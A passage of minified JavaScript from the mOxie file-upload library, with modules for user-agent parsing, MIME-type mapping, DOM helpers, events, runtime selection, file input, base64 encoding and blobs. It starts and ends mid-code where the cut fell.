e?e:(t={t:1099511627776,g:1073741824,m:1048576,k:1024},i=(e=/^([0-9\.]+)([tmgk]?)$/.exec(e.toLowerCase().replace(/[^0-9\.tmkg]/g,"")))[2],e=+e[1],t.hasOwnProperty(i)&&(e*=t[i]),Math.floor(e))}}}),e("moxie/core/utils/Env",["moxie/core/utils/Basic"],function(n){m="function",h="object",r=function(e,t){return-1!==t.toLowerCase().indexOf(e.toLowerCase())},o={browser:[[/(opera\smini)\/([\w\.-]+)/i,/(opera\s[mobiletab]+).+version\/([\w\.-]+)/i,/(opera).+version\/([\w\.]+)/i,/(opera)[\/\s]+([\w\.]+)/i],[a="name",c="version"],[/\s(opr)\/([\w\.]+)/i],[[a,"Opera"],c],[/(kindle)\/([\w\.]+)/i,/(lunascape|maxthon|netfront|jasmine|blazer)[\/\s]?([\w\.]+)*/i,/(avant\s|iemobile|slim|baidu)(?:browser)?[\/\s]?([\w\.]*)/i,/(?:ms|\()(ie)\s([\w\.]+)/i,/(rekonq)\/([\w\.]+)*/i,/(chromium|flock|rockmelt|midori|epiphany|silk|skyfire|ovibrowser|bolt|iron|vivaldi)\/([\w\.-]+)/i],[a,c],[/(trident).+rv[:\s]([\w\.]+).+like\sgecko/i],[[a,"IE"],c],[/(edge)\/((\d+)?[\w\.]+)/i],[a,c],[/(yabrowser)\/([\w\.]+)/i],[[a,"Yandex"],c],[/(comodo_dragon)\/([\w\.]+)/i],[[a,/_/g," "],c],[/(chrome|omniweb|arora|[tizenoka]{5}\s?browser)\/v?([\w\.]+)/i,/(uc\s?browser|qqbrowser)[\/\s]?([\w\.]+)/i],[a,c],[/(dolfin)\/([\w\.]+)/i],[[a,"Dolphin"],c],[/((?:android.+)crmo|crios)\/([\w\.]+)/i],[[a,"Chrome"],c],[/XiaoMi\/MiuiBrowser\/([\w\.]+)/i],[c,[a,"MIUI Browser"]],[/android.+version\/([\w\.]+)\s+(?:mobile\s?safari|safari)/i],[c,[a,"Android Browser"]],[/FBAV\/([\w\.]+);/i],[c,[a,"Facebook"]],[/version\/([\w\.]+).+?mobile\/\w+\s(safari)/i],[c,[a,"Mobile Safari"]],[/version\/([\w\.]+).+?(mobile\s?safari|safari)/i],[c,a],[/webkit.+?(mobile\s?safari|safari)(\/[\w\.]+)/i],[a,[c,(i={rgx:function(){for(var e,t,i,n,r,o,s,a=0,u=arguments;a<u.length;a+=2){var c=u[a],l=u[a+1];if(void 0===e)for(n in e={},l)typeof(r=l[n])==h?e[r[0]]=d:e[r]=d;for(t=i=0;t<c.length;t++)if(o=c[t].exec(this.getUA())){for(n=0;n<l.length;n++)s=o[++i],typeof(r=l[n])==h&&0<r.length?2==r.length?typeof r[1]==m?e[r[0]]=r[1].call(this,s):e[r[0]]=r[1]:3==r.length?typeof r[1]!=m||r[1].exec&&r[1].test?e[r[0]]=s?s.replace(r[1],r[2]):d:e[r[0]]=s?r[1].call(this,s,r[2]):d:4==r.length&&(e[r[0]]=s?r[3].call(this,s.replace(r[1],r[2])):d):e[r]=s||d;break}if(o)break}return e},str:function(e,t){for(var i in t)if(typeof t[i]==h&&0<t[i].length){for(var n=0;n<t[i].length;n++)if(r(t[i][n],e))return"?"===i?d:i}else if(r(t[i],e))return"?"===i?d:i;return e}}).str,(e={browser:{oldsafari:{major:{1:["/8","/1","/3"],2:"/4","?":"/"},version:{"1.0":"/8",1.2:"/1",1.3:"/3","2.0":"/412","2.0.2":"/416","2.0.3":"/417","2.0.4":"/419","?":"/"}}},device:{sprint:{model:{"Evo Shift 4G":"7373KT"},vendor:{HTC:"APA",Sprint:"Sprint"}}},os:{windows:{version:{ME:"4.90","NT 3.11":"NT3.51","NT 4.0":"NT4.0",2e3:"NT 5.0",XP:["NT 5.1","NT 5.2"],Vista:"NT 6.0",7:"NT 6.1",8:"NT 6.2",8.1:"NT 6.3",RT:"ARM"}}}}).browser.oldsafari.version]],[/(konqueror)\/([\w\.]+)/i,/(webkit|khtml)\/([\w\.]+)/i],[a,c],[/(navigator|netscape)\/([\w\.-]+)/i],[[a,"Netscape"],c],[/(swiftfox)/i,/(icedragon|iceweasel|camino|chimera|fennec|maemo\sbrowser|minimo|conkeror)[\/\s]?([\w\.\+]+)/i,/(firefox|seamonkey|k-meleon|icecat|iceape|firebird|phoenix)\/([\w\.-]+)/i,/(mozilla)\/([\w\.]+).+rv\:.+gecko\/\d+/i,/(polaris|lynx|dillo|icab|doris|amaya|w3m|netsurf)[\/\s]?([\w\.]+)/i,/(links)\s\(([\w\.]+)/i,/(gobrowser)\/?([\w\.]+)*/i,/(ice\s?browser)\/v?([\w\._]+)/i,/(mosaic)[\/\s]([\w\.]+)/i],[a,c]],engine:[[/windows.+\sedge\/([\w\.]+)/i],[c,[a,"EdgeHTML"]],[/(presto)\/([\w\.]+)/i,/(webkit|trident|netfront|netsurf|amaya|lynx|w3m)\/([\w\.]+)/i,/(khtml|tasman|links)[\/\s]\(?([\w\.]+)/i,/(icab)[\/\s]([23]\.[\d\.]+)/i],[a,c],[/rv\:([\w\.]+).*(gecko)/i],[c,a]],os:[[/microsoft\s(windows)\s(vista|xp)/i],[a,c],[/(windows)\snt\s6\.2;\s(arm)/i,/(windows\sphone(?:\sos)*|windows\smobile|windows)[\s\/]?([ntce\d\.\s]+\w)/i],[a,[c,i.str,e.os.windows.version]],[/(win(?=3|9|n)|win\s9x\s)([nt\d\.]+)/i],[[a,"Windows"],[c,i.str,e.os.windows.version]],[/\((bb)(10);/i],[[a,"BlackBerry"],c],[/(blackberry)\w*\/?([\w\.]+)*/i,/(tizen)[\/\s]([\w\.]+)/i,/(android|webos|palm\os|qnx|bada|rim\stablet\sos|meego|contiki)[\/\s-]?([\w\.]+)*/i,/linux;.+(sailfish);/i],[a,c],[/(symbian\s?os|symbos|s60(?=;))[\/\s-]?([\w\.]+)*/i],[[a,"Symbian"],c],[/\((series40);/i],[a],[/mozilla.+\(mobile;.+gecko.+firefox/i],[[a,"Firefox OS"],c],[/(nintendo|playstation)\s([wids3portablevu]+)/i,/(mint)[\/\s\(]?(\w+)*/i,/(mageia|vectorlinux)[;\s]/i,/(joli|[kxln]?ubuntu|debian|[open]*suse|gentoo|arch|slackware|fedora|mandriva|centos|pclinuxos|redhat|zenwalk|linpus)[\/\s-]?([\w\.-]+)*/i,/(hurd|linux)\s?([\w\.]+)*/i,/(gnu)\s?([\w\.]+)*/i],[a,c],[/(cros)\s[\w]+\s([\w\.]+\w)/i],[[a,"Chromium OS"],c],[/(sunos)\s?([\w\.]+\d)*/i],[[a,"Solaris"],c],[/\s([frentopc-]{0,4}bsd|dragonfly)\s?([\w\.]+)*/i],[a,c],[/(ip[honead]+)(?:.*os\s*([\w]+)*\slike\smac|;\sopera)/i],[[a,"iOS"],[c,/_/g,"."]],[/(mac\sos\sx)\s?([\w\s\.]+\w)*/i,/(macintosh|mac(?=_powerpc)\s)/i],[[a,"Mac OS"],[c,/_/g,"."]],[/((?:open)?solaris)[\/\s-]?([\w\.]+)*/i,/(haiku)\s(\w+)/i,/(aix)\s((\d)(?=\.|\)|\s)[\w\.]*)*/i,/(plan\s9|minix|beos|os\/2|amigaos|morphos|risc\sos|openvms)/i,/(unix)\s?([\w\.]+)*/i],[a,c]]};var d,m,h,r,i,o,e=function(e){var t=e||(window&&window.navigator&&window.navigator.userAgent?window.navigator.userAgent:"");this.getBrowser=function(){return i.rgx.apply(this,o.browser)},this.getEngine=function(){return i.rgx.apply(this,o.engine)},this.getOS=function(){return i.rgx.apply(this,o.os)},this.getResult=function(){return{ua:this.getUA(),browser:this.getBrowser(),engine:this.getEngine(),os:this.getOS()}},this.getUA=function(){return t},this.setUA=function(e){return t=e,this},this.setUA(t)};function t(e){var t=[].slice.call(arguments);return t.shift(),"function"===n.typeOf(u[e])?u[e].apply(this,t):!!u[e]}u={define_property:!1,create_canvas:!(!(a=document.createElement("canvas")).getContext||!a.getContext("2d")),return_response_type:function(e){try{if(-1!==n.inArray(e,["","text","document"]))return!0;if(window.XMLHttpRequest){var t=new XMLHttpRequest;if(t.open("get","/"),"responseType"in t)return t.responseType=e,t.responseType===e}}catch(e){}return!1},use_data_uri:((s=new Image).onload=function(){u.use_data_uri=1===s.width&&1===s.height},setTimeout(function(){s.src="data:image/gif;base64,R0lGODlhAQABAIAAAP8AAAAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw=="},1),!1),use_data_uri_over32kb:function(){return u.use_data_uri&&("IE"!==l.browser||9<=l.version)},use_data_uri_of:function(e){return u.use_data_uri&&e<33e3||u.use_data_uri_over32kb()},use_fileinput:function(){var e;return!navigator.userAgent.match(/(Android (1.0|1.1|1.5|1.6|2.0|2.1))|(Windows Phone (OS 7|8.0))|(XBLWP)|(ZuneWP)|(w(eb)?OSBrowser)|(webOS)|(Kindle\/(1.0|2.0|2.5|3.0))/)&&((e=document.createElement("input")).setAttribute("type","file"),!e.disabled)}};var s,a,u,c=(new e).getResult(),l={can:t,uaParser:e,browser:c.browser.name,version:c.browser.version,os:c.os.name,osVersion:c.os.version,verComp:function(e,t,i){function n(e){return(e=(e=(""+e).replace(/[_\-+]/g,".")).replace(/([^.\d]+)/g,".$1.").replace(/\.{2,}/g,".")).length?e.split("."):[-8]}function r(e){return e?isNaN(e)?u[e]||-7:parseInt(e,10):0}var o,s=0,a=0,u={dev:-6,alpha:-5,a:-5,beta:-4,b:-4,RC:-3,rc:-3,"#":-2,p:1,pl:1};for(e=n(e),t=n(t),o=Math.max(e.length,t.length),s=0;s<o;s++)if(e[s]!=t[s]){if(e[s]=r(e[s]),t[s]=r(t[s]),e[s]<t[s]){a=-1;break}if(e[s]>t[s]){a=1;break}}if(!i)return a;switch(i){case">":case"gt":return 0<a;case">=":case"ge":return 0<=a;case"<=":case"le":return a<=0;case"==":case"=":case"eq":return 0===a;case"<>":case"!=":case"ne":return 0!==a;case"":case"<":case"lt":return a<0;default:return null}},global_event_dispatcher:"moxie.core.EventTarget.instance.dispatchEvent"};return l.OS=l.os,MXI_DEBUG&&(l.debug={runtime:!0,events:!1},l.log=function(){var e,t,i=arguments[0];"string"===n.typeOf(i)&&(i=n.sprintf.apply(this,arguments)),window&&window.console&&window.console.log?window.console.log(i):document&&((e=document.getElementById("moxie-console"))||((e=document.createElement("pre")).id="moxie-console",document.body.appendChild(e)),-1!==n.inArray(n.typeOf(i),["object","array"])?(t=i,e.appendChild(document.createTextNode(t+"\n"))):e.appendChild(document.createTextNode(i+"\n")))}),l}),e("moxie/core/I18n",["moxie/core/utils/Basic"],function(i){var t={};return{addI18n:function(e){return i.extend(t,e)},translate:function(e){return t[e]||e},_:function(e){return this.translate(e)},sprintf:function(e){var t=[].slice.call(arguments,1);return e.replace(/%[a-z]/g,function(){var e=t.shift();return"undefined"!==i.typeOf(e)?e:""})}}}),e("moxie/core/utils/Mime",["moxie/core/utils/Basic","moxie/core/I18n"],function(a,n){var e={mimes:{},extensions:{},addMimeType:function(e){for(var t,i,n=e.split(/,/),r=0;r<n.length;r+=2){for(i=n[r+1].split(/ /),t=0;t<i.length;t++)this.mimes[i[t]]=n[r];this.extensions[n[r]]=i}},extList2mimes:function(e,t){for(var i,n,r,o=[],s=0;s<e.length;s++)for(i=e[s].extensions.split(/\s*,\s*/),n=0;n<i.length;n++){if("*"===i[n])return[];if((r=this.mimes[i[n]])&&-1===a.inArray(r,o)&&o.push(r),t&&/^\w+$/.test(i[n]))o.push("."+i[n]);else if(!r)return[]}return o},mimes2exts:function(e){var n=this,r=[];return a.each(e,function(e){if("*"===e)return!(r=[]);var i=e.match(/^(\w+)\/(\*|\w+)$/);i&&("*"===i[2]?a.each(n.extensions,function(e,t){new RegExp("^"+i[1]+"/").test(t)&&[].push.apply(r,n.extensions[t])}):n.extensions[e]&&[].push.apply(r,n.extensions[e]))}),r},mimes2extList:function(e){var t=[],i=[];return"string"===a.typeOf(e)&&(e=a.trim(e).split(/\s*,\s*/)),i=this.mimes2exts(e),t.push({title:n.translate("Files"),extensions:i.length?i.join(","):"*"}),t.mimes=e,t},getFileExtension:function(e){e=e&&e.match(/\.([^.]+)$/);return e?e[1].toLowerCase():""},getFileMime:function(e){return this.mimes[this.getFileExtension(e)]||""}};return e.addMimeType("application/msword,doc dot,application/pdf,pdf,application/pgp-signature,pgp,application/postscript,ps ai eps,application/rtf,rtf,application/vnd.ms-excel,xls xlb,application/vnd.ms-powerpoint,ppt pps pot,application/zip,zip,application/x-shockwave-flash,swf swfl,application/vnd.openxmlformats-officedocument.wordprocessingml.document,docx,application/vnd.openxmlformats-officedocument.wordprocessingml.template,dotx,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,xlsx,application/vnd.openxmlformats-officedocument.presentationml.presentation,pptx,application/vnd.openxmlformats-officedocument.presentationml.template,potx,application/vnd.openxmlformats-officedocument.presentationml.slideshow,ppsx,application/x-javascript,js,application/json,json,audio/mpeg,mp3 mpga mpega mp2,audio/x-wav,wav,audio/x-m4a,m4a,audio/ogg,oga ogg,audio/aiff,aiff aif,audio/flac,flac,audio/aac,aac,audio/ac3,ac3,audio/x-ms-wma,wma,image/bmp,bmp,image/gif,gif,image/jpeg,jpg jpeg jpe,image/photoshop,psd,image/png,png,image/svg+xml,svg svgz,image/tiff,tiff tif,text/plain,asc txt text diff log,text/html,htm html xhtml,text/css,css,text/csv,csv,text/rtf,rtf,video/mpeg,mpeg mpg mpe m2v,video/quicktime,qt mov,video/mp4,mp4,video/x-m4v,m4v,video/x-flv,flv,video/x-ms-wmv,wmv,video/avi,avi,video/webm,webm,video/3gpp,3gpp 3gp,video/3gpp2,3g2,video/vnd.rn-realvideo,rv,video/ogg,ogv,video/x-matroska,mkv,application/vnd.oasis.opendocument.formula-template,otf,application/octet-stream,exe"),e}),e("moxie/core/utils/Dom",["moxie/core/utils/Env"],function(c){function i(e,t){return!!e.className&&new RegExp("(^|\\s+)"+t+"(\\s+|$)").test(e.className)}return{get:function(e){return"string"!=typeof e?e:document.getElementById(e)},hasClass:i,addClass:function(e,t){i(e,t)||(e.className=e.className?e.className.replace(/\s+$/,"")+" "+t:t)},removeClass:function(e,t){e.className&&(t=new RegExp("(^|\\s+)"+t+"(\\s+|$)"),e.className=e.className.replace(t,function(e,t,i){return" "===t&&" "===i?" ":""}))},getStyle:function(e,t){return e.currentStyle?e.currentStyle[t]:window.getComputedStyle?window.getComputedStyle(e,null)[t]:void 0},getPos:function(e,t){var i,n,r,o=0,s=0,a=document;function u(e){var t,i=0,n=0;return e&&(e=e.getBoundingClientRect(),t="CSS1Compat"===a.compatMode?a.documentElement:a.body,i=e.left+t.scrollLeft,n=e.top+t.scrollTop),{x:i,y:n}}if(t=t||a.body,e&&e.getBoundingClientRect&&"IE"===c.browser&&(!a.documentMode||a.documentMode<8))return n=u(e),r=u(t),{x:n.x-r.x,y:n.y-r.y};for(i=e;i&&i!=t&&i.nodeType;)o+=i.offsetLeft||0,s+=i.offsetTop||0,i=i.offsetParent;for(i=e.parentNode;i&&i!=t&&i.nodeType;)o-=i.scrollLeft||0,s-=i.scrollTop||0,i=i.parentNode;return{x:o,y:s}},getSize:function(e){return{w:e.offsetWidth||e.clientWidth,h:e.offsetHeight||e.clientHeight}}}}),e("moxie/core/Exceptions",["moxie/core/utils/Basic"],function(e){function t(e,t){for(var i in e)if(e[i]===t)return i;return null}return{RuntimeError:(a={NOT_INIT_ERR:1,NOT_SUPPORTED_ERR:9,JS_ERR:4},e.extend(d,a),d.prototype=Error.prototype,d),OperationNotAllowedException:(e.extend(l,{NOT_ALLOWED_ERR:1}),l.prototype=Error.prototype,l),ImageError:(s={WRONG_FORMAT:1,MAX_RESOLUTION_ERR:2,INVALID_META_ERR:3},e.extend(c,s),c.prototype=Error.prototype,c),FileException:(o={NOT_FOUND_ERR:1,SECURITY_ERR:2,ABORT_ERR:3,NOT_READABLE_ERR:4,ENCODING_ERR:5,NO_MODIFICATION_ALLOWED_ERR:6,INVALID_STATE_ERR:7,SYNTAX_ERR:8},e.extend(u,o),u.prototype=Error.prototype,u),DOMException:(r={INDEX_SIZE_ERR:1,DOMSTRING_SIZE_ERR:2,HIERARCHY_REQUEST_ERR:3,WRONG_DOCUMENT_ERR:4,INVALID_CHARACTER_ERR:5,NO_DATA_ALLOWED_ERR:6,NO_MODIFICATION_ALLOWED_ERR:7,NOT_FOUND_ERR:8,NOT_SUPPORTED_ERR:9,INUSE_ATTRIBUTE_ERR:10,INVALID_STATE_ERR:11,SYNTAX_ERR:12,INVALID_MODIFICATION_ERR:13,NAMESPACE_ERR:14,INVALID_ACCESS_ERR:15,VALIDATION_ERR:16,TYPE_MISMATCH_ERR:17,SECURITY_ERR:18,NETWORK_ERR:19,ABORT_ERR:20,URL_MISMATCH_ERR:21,QUOTA_EXCEEDED_ERR:22,TIMEOUT_ERR:23,INVALID_NODE_TYPE_ERR:24,DATA_CLONE_ERR:25},e.extend(n,r),n.prototype=Error.prototype,n),EventException:(e.extend(i,{UNSPECIFIED_EVENT_TYPE_ERR:0}),i.prototype=Error.prototype,i)};function i(e){this.code=e,this.name="EventException"}function n(e){this.code=e,this.name=t(r,e),this.message=this.name+": DOMException "+this.code}var r,o,s,a;function u(e){this.code=e,this.name=t(o,e),this.message=this.name+": FileException "+this.code}function c(e){this.code=e,this.name=t(s,e),this.message=this.name+": ImageError "+this.code}function l(e){this.code=e,this.name="OperationNotAllowedException"}function d(e){this.code=e,this.name=t(a,e),this.message=this.name+": RuntimeError "+this.code}}),e("moxie/core/EventTarget",["moxie/core/utils/Env","moxie/core/Exceptions","moxie/core/utils/Basic"],function(c,l,d){function e(){var u={};d.extend(this,{uid:null,init:function(){this.uid||(this.uid=d.guid("uid_"))},addEventListener:function(e,t,i,n){var r,o=this;this.hasOwnProperty("uid")||(this.uid=d.guid("uid_")),e=d.trim(e),/\s/.test(e)?d.each(e.split(/\s+/),function(e){o.addEventListener(e,t,i,n)}):(e=e.toLowerCase(),i=parseInt(i,10)||0,(r=u[this.uid]&&u[this.uid][e]||[]).push({fn:t,priority:i,scope:n||this}),u[this.uid]||(u[this.uid]={}),u[this.uid][e]=r)},hasEventListener:function(e){e=e?u[this.uid]&&u[this.uid][e]:u[this.uid];return e||!1},removeEventListener:function(e,t){e=e.toLowerCase();var i,n=u[this.uid]&&u[this.uid][e];if(n){if(t){for(i=n.length-1;0<=i;i--)if(n[i].fn===t){n.splice(i,1);break}}else n=[];n.length||(delete u[this.uid][e],d.isEmptyObj(u[this.uid])&&delete u[this.uid])}},removeAllEventListeners:function(){u[this.uid]&&delete u[this.uid]},dispatchEvent:function(e){var t,i,n,r,o,s={},a=!0;if("string"!==d.typeOf(e)){if(r=e,"string"!==d.typeOf(r.type))throw new l.EventException(l.EventException.UNSPECIFIED_EVENT_TYPE_ERR);e=r.type,void 0!==r.total&&void 0!==r.loaded&&(s.total=r.total,s.loaded=r.loaded),s.async=r.async||!1}return-1!==e.indexOf("::")?(r=e.split("::"),t=r[0],e=r[1]):t=this.uid,e=e.toLowerCase(),(i=u[t]&&u[t][e])&&(i.sort(function(e,t){return t.priority-e.priority}),(n=[].slice.call(arguments)).shift(),s.type=e,n.unshift(s),MXI_DEBUG&&c.debug.events&&c.log("Event '%s' fired on %u",s.type,t),o=[],d.each(i,function(t){n[0].target=t.scope,o.push(s.async?function(e){setTimeout(function(){e(!1===t.fn.apply(t.scope,n))},1)}:function(e){e(!1===t.fn.apply(t.scope,n))})}),o.length)&&d.inSeries(o,function(e){a=!e}),a},bind:function(){this.addEventListener.apply(this,arguments)},unbind:function(){this.removeEventListener.apply(this,arguments)},unbindAll:function(){this.removeAllEventListeners.apply(this,arguments)},trigger:function(){return this.dispatchEvent.apply(this,arguments)},handleEventProps:function(e){var t=this;this.bind(e.join(" "),function(e){e="on"+e.type.toLowerCase();"function"===d.typeOf(this[e])&&this[e].apply(this,arguments)}),d.each(e,function(e){e="on"+e.toLowerCase(e),"undefined"===d.typeOf(t[e])&&(t[e]=null)})}})}return e.instance=new e,e}),e("moxie/runtime/Runtime",["moxie/core/utils/Env","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/EventTarget"],function(c,l,d,i){var n={},m={};function h(e,t,r,i,n){var o,s,a=this,u=l.guid(t+"_"),n=n||"browser";e=e||{},m[u]=this,r=l.extend({access_binary:!1,access_image_binary:!1,display_media:!1,do_cors:!1,drag_and_drop:!1,filter_by_extension:!0,resize_image:!1,report_upload_progress:!1,return_response_headers:!1,return_response_type:!1,return_status_code:!0,send_custom_headers:!1,select_file:!1,select_folder:!1,select_multiple:!0,send_binary_string:!1,send_browser_cookies:!0,send_multipart:!0,slice_blob:!1,stream_upload:!1,summon_file_dialog:!1,upload_filesize:!0,use_http_method:!0},r),e.preferred_caps&&(n=h.getMode(i,e.preferred_caps,n)),MXI_DEBUG&&c.debug.runtime&&c.log("\tdefault mode: %s",n),s={},o={exec:function(e,t,i,n){if(o[t]&&(s[e]||(s[e]={context:this,instance:new o[t]}),s[e].instance[i]))return s[e].instance[i].apply(this,n)},removeInstance:function(e){delete s[e]},removeAllInstances:function(){var i=this;l.each(s,function(e,t){"function"===l.typeOf(e.instance.destroy)&&e.instance.destroy.call(e.context),i.removeInstance(t)})}},l.extend(this,{initialized:!1,uid:u,type:t,mode:h.getMode(i,e.required_caps,n),shimid:u+"_container",clients:0,options:e,can:function(e,t){var i,n=arguments[2]||r;if("string"===l.typeOf(e)&&"undefined"===l.typeOf(t)&&(e=h.parseCaps(e)),"object"!==l.typeOf(e))return"function"===l.typeOf(n[e])?n[e].call(this,t):t===n[e];for(i in e)if(!this.can(i,e[i],n))return!1;return!0},getShimContainer:function(){var e,t=d.get(this.shimid);return t||(e=this.options.container?d.get(this.options.container):document.body,(t=document.createElement("div")).id=this.shimid,t.className="moxie-shim moxie-shim-"+this.type,l.extend(t.style,{position:"absolute",top:"0px",left:"0px",width:"1px",height:"1px",overflow:"hidden"}),e.appendChild(t),e=null),t},getShim:function(){return o},shimExec:function(e,t){var i=[].slice.call(arguments,2);return a.getShim().exec.call(this,this.uid,e,t,i)},exec:function(e,t){var i=[].slice.call(arguments,2);return a[e]&&a[e][t]?a[e][t].apply(this,i):a.shimExec.apply(this,arguments)},destroy:function(){var e;a&&((e=d.get(this.shimid))&&e.parentNode.removeChild(e),o&&o.removeAllInstances(),this.unbindAll(),delete m[this.uid],this.uid=null,a=o=null)}}),this.mode&&e.required_caps&&!this.can(e.required_caps)&&(this.mode=!1)}return h.order="html5,html4",h.getRuntime=function(e){return m[e]||!1},h.addConstructor=function(e,t){t.prototype=i.instance,n[e]=t},h.getConstructor=function(e){return n[e]||null},h.getInfo=function(e){var t=h.getRuntime(e);return t?{uid:t.uid,type:t.type,mode:t.mode,can:function(){return t.can.apply(t,arguments)}}:null},h.parseCaps=function(e){var t={};return"string"!==l.typeOf(e)?e||{}:(l.each(e.split(","),function(e){t[e]=!0}),t)},h.can=function(e,t){var e=h.getConstructor(e);return!!e&&(t=(e=new e({required_caps:t})).mode,e.destroy(),!!t)},h.thatCan=function(e,t){var i,n=(t||h.order).split(/\s*,\s*/);for(i in n)if(h.can(n[i],e))return n[i];return null},h.getMode=function(n,e,t){var r=null;if("undefined"===l.typeOf(t)&&(t="browser"),e&&!l.isEmptyObj(n)){if(l.each(e,function(e,t){if(n.hasOwnProperty(t)){var i=n[t](e);if("string"==typeof i&&(i=[i]),r){if(!(r=l.arrayIntersect(r,i)))return MXI_DEBUG&&c.debug.runtime&&c.log("\t\t%c: %v (conflicting mode requested: %s)",t,e,i),r=!1}else r=i}MXI_DEBUG&&c.debug.runtime&&c.log("\t\t%c: %v (compatible modes: %s)",t,e,r)}),r)return-1!==l.inArray(t,r)?t:r[0];if(!1===r)return!1}return t},h.capTrue=function(){return!0},h.capFalse=function(){return!1},h.capTest=function(e){return function(){return!!e}},h}),e("moxie/runtime/RuntimeClient",["moxie/core/utils/Env","moxie/core/Exceptions","moxie/core/utils/Basic","moxie/runtime/Runtime"],function(a,u,t,c){return function(){var s;t.extend(this,{connectRuntime:function(r){var e,o=this;if("string"===t.typeOf(r)?e=r:"string"===t.typeOf(r.ruid)&&(e=r.ruid),e){if(s=c.getRuntime(e))return s.clients++,s;throw new u.RuntimeError(u.RuntimeError.NOT_INIT_ERR)}!function e(t){var i,n;t.length?(i=t.shift().toLowerCase(),(n=c.getConstructor(i))?(MXI_DEBUG&&a.debug.runtime&&(a.log("Trying runtime: %s",i),a.log(r)),(s=new n(r)).bind("Init",function(){s.initialized=!0,MXI_DEBUG&&a.debug.runtime&&a.log("Runtime '%s' initialized",s.type),setTimeout(function(){s.clients++,o.trigger("RuntimeInit",s)},1)}),s.bind("Error",function(){MXI_DEBUG&&a.debug.runtime&&a.log("Runtime '%s' failed to initialize",s.type),s.destroy(),e(t)}),MXI_DEBUG&&a.debug.runtime&&a.log("\tselected mode: %s",s.mode),s.mode?s.init():s.trigger("Error")):e(t)):(o.trigger("RuntimeError",new u.RuntimeError(u.RuntimeError.NOT_INIT_ERR)),s=null)}((r.runtime_order||c.order).split(/\s*,\s*/))},disconnectRuntime:function(){s&&--s.clients<=0&&s.destroy(),s=null},getRuntime:function(){return s&&s.uid?s:s=null},exec:function(){return s?s.exec.apply(this,arguments):null}})}}),e("moxie/file/FileInput",["moxie/core/utils/Basic","moxie/core/utils/Env","moxie/core/utils/Mime","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/core/EventTarget","moxie/core/I18n","moxie/runtime/Runtime","moxie/runtime/RuntimeClient"],function(o,i,n,s,a,e,u,c,l){var d=["ready","change","cancel","mouseenter","mouseleave","mousedown","mouseup"];function t(r){MXI_DEBUG&&i.log("Instantiating FileInput...");var e,t=this;if(-1!==o.inArray(o.typeOf(r),["string","node"])&&(r={browse_button:r}),!(e=s.get(r.browse_button)))throw new a.DOMException(a.DOMException.NOT_FOUND_ERR);e={accept:[{title:u.translate("All Files"),extensions:"*"}],name:"file",multiple:!1,required_caps:!1,container:e.parentNode||document.body},"string"==typeof(r=o.extend({},e,r)).required_caps&&(r.required_caps=c.parseCaps(r.required_caps)),"string"==typeof r.accept&&(r.accept=n.mimes2extList(r.accept)),e=(e=s.get(r.container))||document.body,"static"===s.getStyle(e,"position")&&(e.style.position="relative"),e=null,l.call(t),o.extend(t,{uid:o.guid("uid_"),ruid:null,shimid:null,files:null,init:function(){t.bind("RuntimeInit",function(e,n){t.ruid=n.uid,t.shimid=n.shimid,t.bind("Ready",function(){t.trigger("Refresh")},999),t.bind("Refresh",function(){var e,t=s.get(r.browse_button),i=s.get(n.shimid);t&&(e=s.getPos(t,s.get(r.container)),t=s.getSize(t),i)&&o.extend(i.style,{top:e.y+"px",left:e.x+"px",width:t.w+"px",height:t.h+"px"})}),n.exec.call(t,"FileInput","init",r)}),t.connectRuntime(o.extend({},r,{required_caps:{select_file:!0}}))},disable:function(e){var t=this.getRuntime();t&&t.exec.call(this,"FileInput","disable","undefined"===o.typeOf(e)||e)},refresh:function(){t.trigger("Refresh")},destroy:function(){var e=this.getRuntime();e&&(e.exec.call(this,"FileInput","destroy"),this.disconnectRuntime()),"array"===o.typeOf(this.files)&&o.each(this.files,function(e){e.destroy()}),this.files=null,this.unbindAll()}}),this.handleEventProps(d)}return t.prototype=e.instance,t}),e("moxie/core/utils/Encode",[],function(){function d(e){return unescape(encodeURIComponent(e))}function m(e){return decodeURIComponent(escape(e))}return{utf8_encode:d,utf8_decode:m,atob:function(e,t){if("function"==typeof window.atob)return t?m(window.atob(e)):window.atob(e);var i,n,r,o,s,a,u="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",c=0,l=0,d=[];if(!e)return e;for(e+="";i=(s=u.indexOf(e.charAt(c++))<<18|u.indexOf(e.charAt(c++))<<12|(r=u.indexOf(e.charAt(c++)))<<6|(o=u.indexOf(e.charAt(c++))))>>16&255,n=s>>8&255,s=255&s,d[l++]=64==r?String.fromCharCode(i):64==o?String.fromCharCode(i,n):String.fromCharCode(i,n,s),c<e.length;);return a=d.join(""),t?m(a):a},btoa:function(e,t){if(t&&(e=d(e)),"function"==typeof window.btoa)return window.btoa(e);var i,n,r,o,s="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",a=0,u=0,t="",c=[];if(!e)return e;for(;i=(o=e.charCodeAt(a++)<<16|e.charCodeAt(a++)<<8|e.charCodeAt(a++))>>12&63,n=o>>6&63,r=63&o,c[u++]=s.charAt(o>>18&63)+s.charAt(i)+s.charAt(n)+s.charAt(r),a<e.length;);var t=c.join(""),l=e.length%3;return(l?t.slice(0,l-3):t)+"===".slice(l||3)}}}),e("moxie/file/Blob",["moxie/core/utils/Basic","moxie/core/utils/Encode","moxie/runtime/RuntimeClient"],function(o,i,n){var s={};return function r(e,t){n.call(this),e&&this.connectRuntime(e),t?"string"===o.typeOf(t)&&(t={data:t}):t={},o.extend(this,{uid:t.uid||o.guid("uid_"),ruid:e,size:t.size||0,type:t.type||"",slice:function(e,t,i){return this.isDetached()?function(e,t,i){var n=s[this.uid];return"string"===o.typeOf(n)&&n.length?((i=new r(null,{type:i,size:t-e})).detach(n.substr(e,i.size)),i):null}.apply(this,arguments):this.getRuntime().exec.call(this,"Blob","slice",this.getSource(),e,t,i)},getSource:function(){return s[this.uid]||null},detach:function(e){var t;this.ruid&&(this.getRuntime().exec.call(this,"Blob","destroy"),this.disconnectRuntime(),this.ruid=null),"data:"==(e=e||"").substr(0,5)&&(t=e.indexOf(";base64,"),this.type=e.substring(5,t),e=i.atob(e.substring(t+8))),this.size=e.length,s[this.uid]=e},isDetached:function(){return!this.ruid&&"string"===o.typeOf(s[this.uid])},destroy:function(){this.detach(),delete 